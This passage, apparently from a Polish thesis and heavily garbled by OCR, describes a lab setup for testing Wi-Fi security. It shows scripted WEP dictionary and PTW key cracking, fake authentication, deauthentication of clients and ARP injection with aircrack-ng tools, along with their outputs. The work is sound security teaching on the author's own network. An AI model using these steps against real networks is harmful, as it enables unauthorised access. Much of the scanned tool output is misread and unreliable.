pomoca nastepujacego skryptu:

/wlan/wep-shared/krok2

Dalsza czg$¢ procedury wyznaczania klucza WEP przebiega identycznie jak w
punkcie 11.3.1. Za pomoca skryptéw o takich samych nazwach, ktére znajduja si¢ w
katalogu /wlan/wep-shared mozna wyznaczy¢ bajty klucza wykorzystujac metodg
PTW. Po zakonczeniu wszystkich operacji, w obu katalogach pozostaja pliki z
rozszerzeniem *.cap, zawierajace zaszyfrowane pakiety ARP oraz pliki z rozszerzeniem
* ixt zawierajace informacje o badanej sieci bezprzewodowej wygenerowane przez
aplikacje airodump-ng. Moga one postuzy¢ do przyszlej analizy np. w programie
Ethereal. Nalezy jednak pamigtaé, ze po ponownym uruchomieniu procedur badania
zabezpieczen WEP, zostaja one skasowane w celu zapewnienia porzadku. Ponizej
przedstawiono zakonczone sukcesem przyktadowe wyznaczenie klucza WEP przy

pomocy aplikacji aircrack-ng (Rys. 9.2) oraz aircrack-ptw (Rys. 9.3).

Aircrack-ng 0.9

[00:00:38] Tested 07140000 keys (got 52218 IVa)

KB depth hyte (wvote)
u} of 1 B2 2800 1E{ 243) AS( 2Z43) Caf[ 240) 73 237) 54 Z35)
1 of 1 eF | 285) 8B Z63) 75( 2Z38) A6 Z236) 3E[ 235) ae( Z33)
2 of 1 T2 Z85) 52 Z£51) 08 2507 &5 =243) E5{ 2Z40) CZ{ Z39)
3 of 1 T OZ79) FC{ Z241) 4D 235) 5D 235) A3 233) CC[ Z£32)
4 of 1 Ti( Z80) 10 Z248) DS Z24a) E1{ =243) 7a{ Z40) 4D Z35)

KEY FOUND! [ B2:6F:72:79:73 ]

Decrypted correctly: 100%

Rys. 9.2. Wyznaczenie klucza WEP przy pomocy aircrack-ng

LAircrack-ptw poprawiony przez Przemyslaw Jarzah!

Alokacia pamieci...

ha=zid = 00:4F:e2:0D:BEC:9D0  kevindex=0

Anmliza dla bssid 00:4F:62:0D:BC:9D keyindex=0 packets=5ZZ13

Znaleziono klucz o dlugosci 05: 62 6F 72 79 73

Rys. 9.3. Wyznaczenie klucza WEP przy pomocy aircrack-ptw
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9.4. Badanie podatnosci WPA/WPA2 na atak stownikowy

Katalog /wlan/slowniki, oproécz stownikéw wykorzystanych do badania
zabezpieczen WEP, zawiera réwniez plik, z ktorego korzystaja skrypty do badania
zabezpieczen WPA/WPA2 w przypadku zalaczonej opcji PSK (klucz wspoétdzielony).
Poszczegdlne hasta w stowniku nie moga by¢ dhuzsze niz 64 znaki ASCII oraz musza
by¢ umieszczane w osobnych wierszach pliku.

Procedura badania podatnosci WPA/WPA2 na atak stownikowy sklada si¢ z
dwoch krokéw. W pierwszym nastgpuje przetaczenie interfejsu bezprzewodowego w
tryb Monitor do nashuchiwania na okreslonym w konfiguracji kanale. Uruchomione
zostaje takze przechwytywanie pakietow od okreslonego urzadzenia dostgpowego w
celu zebrania komunikatow negocjacji czteroetapowej. Za wykonanie powyzszych

czynnosci odpowiada skrypt:

/wlan/wpa-dict/krokl

Przechwycenie komunikatow 4-way-handshake mozliwe jest tylko w momencie
proby uwierzytelnienia autoryzowanego klienta w sieci. Dlatego w celu przyspieszenia
catej procedury konieczne jest anulowanie uwierzytelnienia skojarzonego juz klienta
sieci  bezprzewodowej. Po pomySlnym skojarzeniu autoryzowanej  stacji
bezprzewodowej, nalezy uruchomi¢ narzgdzie, przeprowadzajace atak stownikowy na
klucz wspoétdzielony na podstawie przechwyconych komunikatéw negocjacji

czteroetapowej. W systemie SlackPWR odpowiada za to skrypt:

/wlan/wpa-dict/krok?2

Podobnie jak w przypadku omawianych wczes$niej skryptow, po zakonczeniu
wszystkich procedur w katalogu /wilan/wpa-dict pozostaje plik z rozszerzeniem *.cap,
zawierajacy zebrane dane, ktdre przeanalizowa¢ mozna przy pomocy np. programu
Ethereal. Oprocz niego utworzony zostaje rowniez plik z rozszerzeniem *.txt, w ktorym
znalez¢ mozna informacje o badanej sieci, wygenerowane przez airodump-ng. Réwniez
w przypadku omawianych skryptéw powyzsze pliki zostaja skasowane po ponownym

uruchomieniu calej procedury.
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10. Przebieg i wyniki eksperymentow na stanowisku

Ostatnim elementem niniejszej pracy dyplomowej jest przeprowadzenie
eksperymentow na stanowisku laboratoryjnym. W rozdziale tym przedstawione zostang
szczegotowe kroki konfiguracji urzadzen wchodzacych w sktad stanowiska oraz wyniki
doswiadczen. Jako elementy eksperymentalnego stanowiska laboratoryjnego

wykorzystano nastgpujacy sprzet:

a) komputer PC (wazniejsze parametry: Intel Pentium III 1GHz, 384 MB RAM,
GeForce2 Ti 64MB DDR, LAN Intel Pro VE 100Mbit/s, WLAN Atheros
ARS5212 a/b/g) z uruchomionym systemem operacyjnym SlackPWR;

b) notebook TOSHIBA model Satellite A100-467 z wbudowana karta WLAN Intel
Pro 3945/abg oraz uruchomionym systemem operacyjnym Windows XP;

¢) punkt dostepowy AirLive WL-5460APv2 oparty o uktad radiowym Realtek
8186, zgodny ze standardami 802.11b/g/i oraz WPA.

Komputer stacjonarny PC posiada zaréwno interfejs bezprzewodowy jak 1
przewodowy. Zatem na eksperymentalnym stanowisku peini on jednocze$nie funkcje
serwera ustug oraz maszyny do badania zabezpieczen w sieci WLAN. Rozwiazanie
takie pozwolito na zmniejszenie ilo$ci potrzebnych komputeréw na stanowisku o jeden.
Notebook TOSHIBA wykorzystany zostanie jedynie do zestawienia autoryzowanego
potaczenia z punktem dostgpowym. Punkt dostgpowy zostal podtaczony do komputera
PC poprzez zlacze RJ-45 kablem prostym kablem UTP. Rysunek 10.1 przedstawia

schemat eksperymentalnego stanowiska.

()
ssid: laboratorium ’%"

§ kanat: 4 . .
A ssid: g;grhatfnum
§ prosty kabel UTP ze ztaczami RJ-45
Notebook
) SERWER PUNKT DOSTEPOWY autoryzowanyklient sieci
usiugi: Radlus, Dip, . dns, ssh wspierajacy: WEP, WPA, WPA2 system: Windows XP

do badania zabezpieczen
system: SlackPWR

Rys. 10.1. Schemat eksperymentalnego stanowiska do badania zabezpieczen WLAN
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10.1. Konfiguracja punktu dost¢gpowego

Po wlaczeniu =zasilania na stanowisku laboratoryjnym przystapiono do
konfiguracji punktu dostepowego. Najpierw zresetowano AP do ustawien fabrycznych,
przytrzymujac wcisnigty przycisk Reset do rozpoczecia migania kontrolki Status na
przednim panelu. Domy$lne ustawienia znalez¢ mozna w zataczonej instrukcji AirLive
WL-5460v2. Fabryczny adres IP urzadzenia zostal ustawiony jako 192.168.100.252 w
podsieci klasy C (maska 255.255.255.0 lub bitowo /24). Poniewaz interfejs sieciowy
LAN (eth0) w SlackPWR domyslnie skonfigurowany jest do pracy w podsieci klasy C z
adresem 172.16.1.1, nalezato doda¢ do niego dowolny adres z podsieci punktu
dostepowego rozny od 192.168.100.252. W tym celu nalezalo otworzy¢ konsolg

terminala oraz wydac nastepujaca komendg:

ip address add 192.168.100.1/24 dev ethO

Nastgpnie sprawdzono, czy istnieje logiczne potaczenie pomigdzy AP a komputerem

PC przy pomocy ponizszego polecenia:

ping 192.168.100.252 -c 3

Prawidtowa reakcja jest odpowiedZ urzadzenia na trzy komunikaty /CMP Echo
Request, przedstawiona na rysunku 10.2. W przypadku braku odpowiedzi, nalezato
sprawdzi¢ potaczenie kablowe migdzy urzadzeniami a w szczegdlnosci diodg

sygnalizacji polaczenia (ang. link).

rootlSlackPUWR:~# ping 192.168.100.252 -c 3

PING 192.165.100.252 (192.165.100.252) 56(84) bytes of data.

64 bytes from 192.168.100.=252: icwp seq=1 ttl=Z55 time=Z.42Z ms
64 bytes fromwm 192.168.100.252: icwp sSeq=2 ttl=Z55 time=0.956 ms
61 bytes from 192.168.100.252: icwp Zeq=3 trl=2Z55 time=0,930 m=

-——— 192 .168.100.252 ping statistics ———
3 packetzs transmitted, 3 received, 0% packet lozz, time 2005ms
rtt win/avg/max/mdev = 0.956/1.467/2.427/0.679 ms

Rys. 10.2. Prawidtowa odpowiedz punktu dostepowego na ICMP Echo Request
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Jesli istnialo potaczenie migdzy komputerem PC a punktem dostgpowym,
wpisano w oknie przegladarki stron (Konqueror) domyslny adres IP urzadzenia w celu
uruchomienia serwisu konfiguracji AP. W pierwszej kolejnosci zalecane jest, aby
zmieni¢ domys$lny adres IP w zakladce TCP/IP konfiguracji na dowolny adres z
podsieci 172.16.1.0/24 z zakresu 172.16.1.2 — 172.16.1.99. Adresy powyzej tego
zakresu moga spowodowa¢ konflikt z adresami przyznawanymi poprzez serwer DHCP
dla klienta. Po zmianie nalezatlo przetadowa¢ konfiguracje AP, weciskajac przycisk

»Apply Changes”. Rysunek 10.3 przedstawia przyktadowa konfiguracjg TCP/IP.

LAN Interface Setup

IP Address: 172.16.1.2

Subnet Mask: 255.255.255.0

Default Gateway: 0.0.0.0

DHCP: Disabled | Saryer IP:

DHCP Client Range: -
DNS Server:

802.1d Spanning Tree: | Disabled |+

Clone MAC Address: | 000000000000

[ Apply Changes ] [Resetl

Rys. 10.3. Przyktadowa konfiguracja TCP/IP punktu dostgpowego.

Zmiana domyslnego adresu punktu dostgpowego nie jest wymagana do
przeprowadzenia badan, jednak zaleca si¢ ja w celu zachowania porzadku w sieci.
Nastgpnie uruchomiono serwis konfiguracyjny AP spod nowego adresu IP i
skonfigurowano podstawowe parametry sieci bezprzewodowej. W zakladce MODE
zaznaczono opcje AP oraz wecisnigto przycisk ,,Setup”. Jako SSID sieci wpisano
,laboratorium”, wybrano tryb pracy ,,Band” jako ,,2.4 GHz (B)” oraz ustawiono numer
kanatu jako ,,4”. Pozostalych parametrow nie modyfikowano. Szczegdlowy opis ich
funkcji znalez¢ mozna w instrukcji obstugi urzadzenia lub na w serwisie internetowym
producenta. Po wprowadzeniu zmian w konfiguracji wcisnig¢to przycisk ,,Apply
Changes” w celu przetadowania konfiguracji urzadzenia. Rysunek 10.4 przedstawia

szczegoty omowionej konfiguracji.
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AP Mode Settings

Alias Name: Wireless_AP
[ Disable Wireless LAN Interface

Band: 24GHz (B) |+
SSID: laboratorium
Channel Number: 4 hd
Wireless Client Isolation: Disabled |+
Security:
Advanced Settings:
Access Control:

[ Apply Changes ] [ Reset ]

Rys. 10.4. Szczegbty konfiguracji podstawowych parametrow testowej sieci WLAN

10.1.1. Konfiguracja zabezpieczen WEP

Konfiguracja zabezpieczen badanego AP dostgpna jest po wcisnigciu przycisku
»Setup” opisanego obok jako ,,Security” jak na rysunku 12.4. W przypadku WEP,
nalezato skonfigurowaé rodzaj uwierzytelniania oraz wpisa¢ klucz. Jako rodzaj
uwierzytelniania ,,Authentication” wybrano ,,Open System” lub ,,Shared Key” w
zaleznosci od danej metody przeprowadzania badan. W obu przypadkach w polu
»~Encryption”  wybrano ,,WEP” oraz skonfigurowano 128-bitowy losowy
heksadecymalny klucz o warto$ci: 7¢5d213198f901823c12ae8cbb. Warto$¢ ta wpisano
w pole tekstowe oznaczone jako ,,Encryption Key 1” po czym ustawiono parametr
,Default TX Key” na ,Key 1”. Nastgpnie przetadowano konfiguracj¢ za pomoca
przycisku ,,Apply Changes”. Szczego6ty konfiguracji WEP przedstawia rysunek 10.5.

Wireless Security Setup

Authentication: | Open System v

Encryption: | WEF |+

Key Length: 128-bit |+

Key Format: Hex (26 characters) |+
Default Tx Key: Key 1|+

Encryption Key 1: 7Tc5d213198f301823¢c12ae8cbb

Rys. 10.5. Wybrane szczegoty konfiguracji zabezpieczen WEP
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10.1.2. Konfiguracja zabezpieczen WPA-PSK/WPA2-PSK

Zabezpieczenia WPA-PSK/WPA2-PSK zalacza si¢ w tym samym miejscu co
zabezpieczenia WEP (Rys. 10.5). Z listy okres$lonej jako ,,Authentication” wybrano
»WPA2-PSK” oraz uaktywniono szyfrowanie ,,WPA2(AES)”. Z punktu widzenia
przeprowadzonych p6zniej badan WPA/WPA2, nie ma znaczenia jaki rodzaj WPA oraz
mechanizm poufno$ci danych zostanie wybrany. Negocjacja czteroetapowa przebiega
doktadnie tak samo w kazdym przypadku. Kolejno wpisano klucz wspotdzielony PSK o
warto$ci: 7¢5d213198f901823c12ae8cbb w polu oznaczonym jako ,,Pre-Shared Key”
oraz przetadowano konfiguracj¢ za pomoca przycisku ,,Apply Changes”. Rysunek 10.6.

przedstawia omawiane szczegdty konfiguracji.

Wireless Security Setup

Authentication: | WPA2-PSK v
Encryption: | WPA2(AES) |+

Use 802.1x Authentication WEP B4bits WEP 128bits
Pre-Shared Key Format: Passphrase b
Pre-Shared Key: Tc5d213198f901823c12ae8chb

Rys. 10.6. Szczegdty konfiguracji zabezpieczen WPA-PSK/WPA2-PSK

10.1.3. Konfiguracja zabezpieczen WPA/WPA2 (Radius)

Metody zabezpieczen WPA/WPA?2 oparte o 802.1X oraz serwer Radius nie beda

badane na stanowisku laboratoryjnym, jednak umozliwia ono ich konfiguracj¢ (Rys.

10.7).

Wireless Security Setup

Authentication: | WPAZ-RADIUS w
Encryption: |WPAZ[AES) |+

[] Enable Pre-Authentication

1812 172.16.1.1 p d
Authentication RADIUS Server: Port F I aS5wor

test

Rys. 10.7. Szczegodty konfiguracji WPA/WPA (Radius)
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10.2. Konfiguracja autoryzowanego klienta sieci WLAN

W pierwszej kolejnos$ci nalezalo sprawdzi¢, czy w systemie Windows XP
zainstalowanym na notebooku znajduj¢ si¢ poprawka firmy Microsoft, dotyczaca
obstugi WPA/WPA2 w systemie. Poprawka ta oznaczona jest symbolem KB893357 i
nie podlega ona instalacji w automatycznym procesie uaktualniania systemu Windows
XP. Zostala ona umieszczona w informacyjnym serwisie www stanowiska w dziale
Narzedzia. Najprostszym sposobem jej instalacji jest polaczenie =z siecia
bezprzewodowa stanowiska, zabezpieczona WEP-em lub bez zabezpieczen oraz
Sciagnigcie 1 zainstalowanie poprawki bezposrednio z serwisu stanowiska.

Konfiguracja zabezpieczen w Windows XP dla klienta, przebiegta w trybie tzw.
zerowej konfiguracji sieci bezprzewodowej. Wigkszos¢ kart bezprzewodowych
dysponuje wlasnym oprogramowaniem do obshlugi sieci WLAN, ktore automatycznie
uaktywnia si¢ po instalacji sprzgtu, wylaczajac jednoczesnie ten tryb. Nalezato wigc
sprawdzi¢, czy zerowa konfiguracja jest zataczona w systemie Windows XP. W tym
celu w Panelu Sterowania wybrano Polqczenia sieciowe a nastgpnie wilasciwosci
docelowego potaczenia bezprzewodowego. W =zakladce Sieci bezprzewodowe
zaznaczono opcj¢ ,, Uzyj systemu Windows do konfiguracji sieci bezprzewodowej”.
Niektore oprogramowanie do kart WLAN nie pozwala zalaczy¢ tej opcji (np. RaLink)
we wlasciwosciach sieci bezprzewodowej. W takim przypadku nalezy omawiana opcje
uaktywni¢ za pomoca dostarczonego oprogramowania. Rysunek 10.8 przedstawia
miejsce zataczenia zerowej konfiguracji sieci bezprzewodowe;.

Menadzer WLAN w systemie Windows XP (Rys. 10.8) dla kazdego potaczenia
bezprzewodowego tworzy osobny profil zapisujac go w polu ,,Sieci preferowane”. Raz
zapisany profil nie zostanie zmodyfikowany po zmianie parametrow sieci (np. zmianie
sposobu uwierzytelniania, mechanizmu poufnosci danych). W takim przypadku moga
pojawi¢ sig¢ trudnosci w potaczeniu z siecia bezprzewodowa po kazdej zmianie w
konfiguracji punktu dost¢gpowego. Najprostszym rozwigzaniem problemu jest usunigcie

profilu sieci z menadzera WLAN po kazdej modyfikacji parametréw sieci.
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L Wiasciwosci: WLAN Intel PRO .

Ogéline | Sieci bezprzewodowe | Zaawansowane |
|I |d2y) syztemu Windomys do konfiguracy ustawien siec bezprzewodoye)
Siechdostepne:

Ahy pobaczed lub rozkacees zie albo znaledd wiece] informaci o
zieciach bezprzewadawnch w zasiegu, klikni przpcisk, ponize.

Fokaz sieci bezprzemodomwe

Sieci preferowarns;
Automatycznie potacz sie z dosteprivmi sieciami w nastepujace]
kolejnogcr

(i:' laboratorium [Automatyczne)

Dodaj.. | [ Usui | [wihasciwosei]

Du:m_Ji,adz zie wiece| usta sianil)

EHECI DEZDIE

ZaaWansowane

Lok | s |

Rys.10.8 Menadzer sieci bezprzewodowych w Windows XP

W przypadku konfiguracji klienta do polaczenia bezprzewodowego z kluczem
wspotdzielonym (WEP, WPA-PSK, WPA2-PSK), procedura sprowadza si¢ do
dwukrotnego wpisania znakow klucza po kliknigei na wykryta sie¢ bezprzewodowa.
Informacja o wykrytych sieciach powinna pojawi¢ si¢ w pasku systemowym pod
warunkiem, ze potaczenie sieciowe jest wtaczone. Jedyna dodatkowa czynnoscia, ktora
wykona¢ nalezy przed potaczeniem jest sprawdzenie, czy w ustawieniach protokotu
TCP/IP (zaktadka ,,0g6lne” na rysunku 10.8) nie wpisano statycznie zadnego adresu IP.
Jesli tak — nalezy ustawi¢ automatyczne pobieranie adresu IP oraz adresu serwera DNS.

Dla zabezpieczen opartych o protokét 802.1X oraz serwer Radius, nalezy
przeprowadzi¢ dodatkowa konfiguracje profilu sieci bezprzewodowej (Rys. 10.8). Po
wlaczeniu wiasciwosci danego profilu, w zaktadce ,,Uwierzytelnianie” jako ,,Typ
protokotu EAP” nalezy wybraé ,, Chroniony protokél EAP (PEAP)” 1 odznaczy¢
wszystkie pozostale opcje. Nastgpnie we wlasciwosciach powyzszego protokotu nalezy
rowniez odznaczy¢ wszystkie opcje a jako metod¢ uwierzytelniania wybraé
., Bezpieczne hasto (EAP-MSCHAP v2)” oraz w jej konfiguracji odznaczy¢ wszystkie
opcje. Po zastosowaniu ustawien system zapyta o nazw¢ uzytkownika oraz hasto. Jesli

podane zostana wlasciwe informacje o tozsamosci, potaczenie zostanie nawiazane.
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10.3. Konfiguracja skryptow oraz plikow slownika

W pierwsze] kolejnosci uzupetiono plik konfiguracyjny skryptéw zgodnie z
przeprowadzona wczesniej konfiguracja oraz przedstawionymi wczesniej metodami.
Rysunek 10.9 przedstawia szczegoty konfiguracji skryptow. Nastgpnie do plikow
stownika dopisano wartos$ci ustawionego klucza dla WEP oraz WPA/WPA2.

# parswetry wspolne dla wazystkich skryptow

kanal=4 # kanal dla badanej sieci
gzid=laboratorium # =2zid (nazwa) =sieci

mac ap=00:4F:62:0D:BC: 9D # adres MAC punktu dostepowego
mac_sta=00:19:D2:36:50:D3 # adres MAC skojarzonego klienta

# parametr dla wep-dict

dlugosc wep=1235 # dlugosc wep (64 lub 128)

format wep=1 # format klucsa (0 — ascii, 1 - hex)

Rys. 10.9. Szczegoty konfiguracji skryptow

10.4. Atak slownikowy na WEP

Atak stownikowy na algorytm WEP jest atakiem pasywnym, zatem nie wymaga
on skojarzenia klienta z punktem dostgpowym. Do przeprowadzenia tego ataku,
uwierzytelnianie skonfigurowano jako otwarte z uwagi na nastgpne w kolejnosci

doswiadczenie. Nastgpnie w konsoli terminala systemu SlackPWR uruchomiono skrypt:

/wlan/wep-dict/krokl

ktory przetaczyt interfejs bezprzewodowy komputera PC w tryb Monitor oraz
uruchomit przechwytywanie pakietow (Rys. 10.10).

CH 4 ][ Elapsed: 40 s ][ 2007-06-07 16:41

BE3ISID PWR RXQ Beacons filata, #/3 CH MEBE ENC CIPHER AUTH E3SID
00:4F:62:0D:BC: 90 56 100 421 o a 4 11 WEFP WEP laboratorium
B33ID STATICH PWR Lost Packets Probes

00:4F:62:0D:BC:9D 00:19:D2:36:50:D3 133 u] 54

Rys. 10.10 Przechwytywanie zaszyfrowanych pakietow
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W przegladarce notebooka otworzono serwis informacyjny stanowiska laboratoryjnego
w celu zarejestrowania minimalnej liczby zaszyfrowanych pakietow danych.

Uruchomiono kolejna konsolg terminala a w niej skrypt:

/wlan/wep-dict/krok?2

ktéry za pomoca aircrack-ng przeprowadzit atak stownikowy na WEP. Wynik ataku

przedstawia rysunek 10.11. Czas przeprowadzenia procedury ataku to okoto 1 minuta.

Lircrack-ng 0.9

[Q0:00:00] Tested 4 kevs (got 325 IVs)

EE depth hyte (vote)

o of 0 oo o) ooj oy oo oy oof oy oo oy oo 0
1 o/ 0 ao g o) ooj o) oo o) oof oy oof o) oo o)
2 of 0 ao g o) ooj o) oo o) oof oy oof o) oo o)
3 of 0 oo o) ooj oy 0of 0y oof o) oof o) oof o)
4 of 0 oo o) ooj oy oo oy oof oy oo oy oo 0
5 o/ 0 ao g o) ooj o) oo o) oof oy oof o) oo o)
& of 0 ao g o) ooj o) oo o) oof oy oof o) oo o)
7 of 0 oo o) ooj oy 0of 0y oof o) oof o) oof o)
=1 of 0 oo o) ooj oy oo oy oof oy oo oy oo 0
=l o/ 0 ao g o) ooj o) oo o) oof oy oof o) oo o)
10 of 0 ao g o) ooj o) oo o) oof oy oof o) oo o)
11 of 0 oo o) ooj oy 0of 0y oof o) oof o) oof o)
1z of 0 oo o) ooj oy oo oy oof oy oo oy oo 0

KEEY FOUND! [ 7C:5D:21:31:95:F9:01:582:3C:12:AE:5C:EBE ]
Decrypted correctly: 100%

Rys. 10.11. Efekt koncowy ataku stownikowego na WEP
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10.5. Atak PTW na WEP z uwierzytelnianiem otwartym

Atak PTW przeprowadzony za pomoca skryptow w systemie SlackPWR
wymaga skojarzenia przynajmniej jednego klienta sieci bezprzewodowej. W pierwszej
kolejnosci potaczono interfejs bezprzewodowy notebooka do sieci a nastgpnie

uruchomiono w konsoli terminala systemu SlackPWR skrypt:
/wlan/wep-open/krokl
Skrypt ten przetaczyt interfejs bezprzewodowy w tryb Monitor, przeprowadzil falszywe

uwierzytelnienie oraz rozpoczat proces wstrzykiwania pakietow zadania ARP (Rys.

10.12).

1. Trybh Monitor, podniesienie interfeijsu...

Interface Chipset Driwver
wifil ALtheros madwyifi-ng
athil Ltheros madwifi-—ng VAP (parent: wifi0] (mwonitor mode enabled)

2. Symulacia skojarzenia z LP...

16:58:52 Waiting for beacon frame (BE33ID: 00:4F:62:0D:BC:9D)
16:55:52Z Zending Authentication Request

16:558:52 Ahuthentication successful

16:558:52 Sending Association Request

16:58:52 lAssociation successful :-)

3. Wstrzykiwanie pakietow ARP ...
Saving ARP regquests in replay arp-0607-165854.cap

Fou should also start airodump-ng to capture replies.
Head 187976 packets [(got 91980 ARP requests), sent 62204 packets... (262 pps)

Rys. 10.12. Procedura uruchomienia wstrzykiwania pakietow zadania ARP

Nastgpnie w kolejnej konsoli terminala uruchomiono skrypt:

/wlan/wep-open/krok?2

ktéry spowodowal anulowanie uwierzytelnienia skojarzonej stacji bezprzewodowe;j
(notebooka) oraz rozpoczat przechwytywanie pakietow (Rys. 10.13). Dodatkowo na
pierwszej konsoli rozpoczeto si¢ wstrzykiwanie pakietow zadania ARP (Rys. 10.12)

chwilg po ponownym skojarzeniu autoryzowanego klienta z siecia.
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B33ID

BZSID

a0:4F:

oo0:4F:
ao0:4F:

CH 4 ][

6a

6a
6a

Elapsed:

:0D:BC:SD

tOD:BC: 9D
:0D:BC:9D

2 minz ][ 2007-06-07 17:02

FWR RXQ Beacons #bata, #/3 CH ME ENC

55 100 1448 42144 302 4 11 WEPF TUEF
STATION PUR Lost Packets Prohes
00:19:D2:36:50:D3 55 [u} 50532
0D:0z:6F:21:F8:41 55 u} 45929

CIFHER AUTH E3SID

lsboratorium

Rys. 10.13. Przechwytywanie zaszyfrowanych pakietow zadania ARP

Po przechwyceniu okoto 60 tysigcy zaszyfrowanych pakietow danych, uruchomiono w

nowej konsoli terminala ostatni skrypt, ktoéry za pomoca aircrack-ng przeprowadzil atak

PTW na klucz WEP:

/wlan/wep-open/krok3

Efekt wykonania powyzszego skryptu przedstawiono na rysunku 10.14. Laczny czas

przeprowadzenia procedury ataku PTW na klucz WEP w przypadku uwierzytelniania

otwartego to okoto 4 minuty.

=
(2]

W m -1 m Nk WM O

10

Lircrack-ng 0.9

[00:00:00] Tested 5/1400000 keys

depth hyte (wote)

of 1 TC[ 313y 87 264)
of 1 SDi 255) 4E([ Zed)
os o1 21( 305) 94 278)
of 1 31 300) aci Z264)
of 1 95 337) 02 Z69)
os o1 Fa{ 286) 05( 267)
of 1 oL 289) E3{ 272)
of 1 g2 2598) B4 Z69)
of B cof 27Y3) Vvai 268
of 1 1z 287 EBO{ 275
of 1 AE( 304) 0O1( Z69)
of 1 SC{ 2589) D3| Z264)
of 1 BE{ 307) 1z 264)

EEYT FoOoUND! [ 7C:5D:2l:

Decrypted correctly: 100%

CL[ Z82)
a5 259}
1F | 272)
F5( Zg4)
Fo [ 2693)
D5 =287
QE[ 281}
63 2ZE5)
gC( za7)
25 2709
Q5 Z65)
a5 =82}
DE( Zg0)
31:95:F9:

91 Zgl)
BF (| 257}
Qo 271)
Fa| Zagl)
EZ2 [ 263)
L[ =259
390 257
o0 258)
C1( =285
ED[ 285
D1 Z65)
10 261)
OE[ 25
O1l:52:3C:

54 =258)
B4 Z256)
Gh[ ZE8)
FD [ Zg0)
BZ [ 261}
94 =259
EE( 256
64 257
63 264)
35 259
E3 | 258)
AD [ =258)
15 257
1zZ:AE:5C:

igot 57947 IVs)

96
3E |
B4 |
591
BE |
Ad
851
E |
5E |
171
44 |
A0
201

EE ]

258)
255)
267
257
261)
259)
256)
257
263
258)
257
257
257

Rys. 10.14. Efekt koncowy ataku PTW na WEP
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10.6. Atak PTW na WEP z uwierzytelnianiem wspoéldzielonym

Po zalaczeniu uwierzytelniania z kluczem wspotdzielonym oraz potaczeniu
autoryzowanego klienta (notebook) do laboratoryjnej sieci bezprzewodowe;]

uruchomiono w konsoli terminala skrypt:

/wlan/wep-shared/krokl

ktory przelaczyl interfejs bezprzewodowy w tryb Monitor, wykonal anulowanie
uwierzytelnienia skojarzonego klienta oraz rozpoczat przechwytywanie pakietoéw od
okreslonego w konfiguracji punktu dostgpowego. Efekt wykonania powyzszego skryptu

przedstawia rysunek 10.15.

CH 4 ][ Elapsed: 2 mins ][ Z007-06-07 17:37

E3SID PWR REQ Eeacons #Dhata, #/5 CH ME ENC CIPHER AUTH E3ISID
00:4F:62:0D:BC:9D 61 100 1717 50038 340 4 11 WEP WEP 3KL laboratorium
B3SID STATION PWER Lost Packets FProbes

O0:4F:62:0D:BC:5D 00:19:D2:36:50:D3 61 0 164

00:4F:62:0D:BC:3D 00:02:6F:Z21:F3:41 61 0 S0166

Rys. 10.15. Przechwytywanie pakietow zadania ARP

Nastgpnie (w krétkim odstgpie czasowym) uruchomiono w nowej konsoli skrypt:

/wlan/wep-shared/krok2

ktéry dokonat falszywego uwierzytelnienia na podstawie przechwyconego
zaszyfrowanego tekstu wezwania, spowodowat drugie anulowanie uwierzytelnienia
autoryzowanego klienta oraz uruchomit proces wstrzykiwania pakietéw zadania ARP
(Rys. 10.16). Po ponownym uwierzytelnieniu stacji bezprzewodowej rozpoczgto sig
generowanie sztucznego ruchu w sieci. W chwili, gdy ilo$¢ zebranych pakietow
przekroczyta okoto 60 tysiecy, uruchomiono ostatni skrypt, odpowiedzialny za
przeprowadzenie ataku PTW na przechwyconych danych. Efekt powyzszych procedur

przedstawia rysunek 10.17 a laczny czas ich wykonywania to okoto 4 minuty.
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1. Ooczekiwanie na ponowne uwierzytelnienie klienta
Z. Falszywe uwierzytelnienie...

17:34:36 Waiting for bescon frame (BI3ID: 00:4F:62:0D:BC:29D)
17:34:36 Sending Authentication Regquest

17:34:37 AF rejects open-system authentication

17:34:39 Partcl: Aduthentication

17:34:39 Code 0 - Authentication SIUCCEIIFUL @)

17:34:39 Partl: Association

17:34:39 Waiting for bescon frawme (BI3ID: 00:4F:6Z2:0D:BC:9D)
17:34:39 Code 0O - Association 3UCCE3IFUL @)

3. Drugie anulowanie uwierzvtelniania skojarzonego klienta
17:34:41 3Zending Deluth to station —— 3THALC: [00:19:DZ2:36:50:D3]
4. Wstrzykiwanie pakietow ARP...

Saving ARP regquests in replay arp-0607-173443.cap
You should also start airodump-ng to capture replies.

RBead 153787 packets (got 1006338 ARP requests), sent 51200 packets... (317 pps)

Rys.10.16. Procedura uruchomienia wstrzykiwania pakietéw ARP

Lircrack-ng 0.9

[00:00:00] Tested 0/1400000 keys (got 61014 IVs)

EE depth hbyte (vote)
u} of 1 TC[ 323) 5E( Z81) 70O 274) FB( 274) A2 Z27E) 0L
1 o/ 1 5D 310) DO 28a) 1F( 273) 34 273) D1 275) 03
2 o/ 1 210 339) 8Ah( Z85) 3E[ 284) 09 275) D9 273) 261
3 of 1 310 306) FCI 280) 43 273) 47 273) OF 272) 46(
4 of 1 Q5 350) aF( Z91) 9C[ 280) 33 279) LB 278) 681
= o/ 1 Foi 337) BAL( Z87) 7F( 281) S5F[ 276) 8B 273) C9|
& of 1 a1 327) 561 284) 0B 277) EC[ 275) F4f 270) 504
7 of 1 g2 314) 81 Z81) 89 273) 21( 274) EBD| 274) F&i
=1 o/ 1 3CI 324) 24 Z293) ED( 283) EC([ 280) 70{ 277) 17
9 of 1 12 300) EBD( 279) 97 277 6E[ 273) 21( 263) BO|
10 of 1 AE [ 304) AAL( 283) 24 271) 01 270) 7B Z268) DD|{
11 o/ 1 SC[ 313) CD( 27a) 56 274) BB 274) 47 271) 05
1z o/ 1 BE( 291) 14 Z85) 67 279) E9Q[ 278) 9C| 277) 18]
EEY FOUWD! [ 7C:5D:21:31:98:F9:01:82:3C:12:AE:3C:EBE ]

Decrypted correctly: 100%

z70)
zZ74)
z70)
271}
Z75)
z69)
Z69)
z72)
Z76)
Z66)
Z68)
Z67)
z76)

Rys. 10.17. Efekt koncowy ataku PTW na WEP
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10.7. Atak slownikowy na WPA2 z uwierzytelnianiem PSK

Podobnie jak w przypadku dwoch poprzednich podpunktéw, do
przeprowadzenia ataku na WPA2-PSK za pomoca skryptow systemu SlackPWR
niezbedna jest przynajmniej jedna prawidlowo uwierzytelniona stacja. Po odpowiednim
skonfigurowaniu punktu dostgpowego oraz polaczeniu klienta z siecia bezprzewodowa

uruchomiono skrypt:

/wlan/wpa-psk/krokl

ktérego efektem jest rozpoczgcie przechwytywania pakietow (Rys. 10.18).

